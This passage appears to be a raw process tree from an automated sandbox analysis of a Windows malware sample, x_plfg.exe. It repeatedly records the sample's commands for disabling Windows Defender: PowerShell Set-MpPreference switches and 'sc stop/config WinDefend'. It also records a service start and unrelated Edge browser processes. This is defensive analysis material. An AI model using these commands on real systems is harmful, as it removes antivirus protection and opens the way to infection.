        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:34612
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:42648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        8⤵
        
        PID:38800
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:41392
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:18016
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:23068
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        6⤵
        
        PID:38848
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:42884
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:17848
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:21088
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:30336
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:33860
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
      4⤵
      PID:35636
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:40396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc start "Sys64" 2>nul
  2⤵
  PID:17508
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:20244
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      PID:28112
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:4964
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:42392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=H_WN-xTp7oU
  2⤵
  PID:22588
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x368,0x7ffc921ec188,0x7ffc921ec194,0x7ffc921ec1a0
    3⤵
    PID:23096
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2132,i,14015779333240903939,1342265090855295998,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=2792 /prefetch:11
    3⤵
    - System Time Discovery
    PID:26600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1816,i,7995817778004607411,14730017103652432108,262144 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=2744 /prefetch:2
    3⤵
    PID:26616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2428,i,10333981780373397203,4719374039763427714,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=2828 /prefetch:13
    3⤵
    PID:24148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3632,i,3539367190522227739,13022245419225965946,2097152 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:1
    3⤵
    PID:28032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3636,i,6642588344120710154,10400955378690986236,2097152 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:1
    3⤵
    PID:28040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,6069081574080609475,8798656063694694585,2097152 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=4812 /prefetch:1
    3⤵
    PID:28208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4264,i,495873004448875298,9930072680943558495,2097152 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:9
    3⤵
    PID:28216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5244,i,5248994667195377491,15929452704739356069,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:14
    3⤵
    PID:30116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5432,i,9182871580426376778,1081265717878843632,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
    3⤵
    PID:30680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5436,i,1376116511271735986,16563308469138456440,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:14
    3⤵
    PID:30688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5388,i,18230480454409848401,4919013778783476440,2097152 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:1
    3⤵
    PID:33556
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6156,i,8752286128645990044,1648191900032173677,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
    3⤵
    PID:38184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,3481167122246365658,9866051861134714050,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:12
    3⤵
    PID:38192
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,6659820666459849423,13141017983742448989,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=6344 /prefetch:14
    3⤵
    PID:38960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6472,i,5168163302399582067,16771245162230254759,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:14
    3⤵
    PID:43608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6492,i,2272210824853627079,6251788920782633648,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=6544 /prefetch:14
    3⤵
    PID:43616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6496,i,11594686393610742511,11643388362543591144,524288 --field-trial-handle=2748,i,16162792884061658998,13570521146637567010,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:14
    3⤵
    PID:43624

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
1⤵
PID:6620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
  2⤵
  PID:6700
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:6760
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      PID:6832
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:6920
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:7024
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:7104
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:5024
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:7048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:7236
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:7324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:7404
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:7484
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:7572
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:7648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:7744
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:7820
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:7924
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:7972
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:8092
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:7248
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:8216
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:8328
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:8472
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:8596
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:8728
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:8852
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:8992
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:9128
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:8740
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:9252
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:9444
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:9560
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:9676
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:9800
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:9932
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:10076
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:10212
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:9996
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:10336
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:10476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        42⤵
        
        PID:10580
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:10688
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        44⤵
        
        PID:10828
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:10940
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        46⤵
        
        PID:11088
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:11208
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        48⤵
        
        PID:11272
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:11536
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        50⤵
        
        PID:11916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:11392
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        52⤵
        
        PID:12764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:13496
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        54⤵
        
        PID:14296
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:15712
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        56⤵
        
        PID:17404
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:22516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        58⤵
        
        PID:26728
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:40608
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        56⤵
        
        PID:34920
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:40292
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        54⤵
        
        PID:28972
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:32488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        52⤵
        
        PID:25336
        
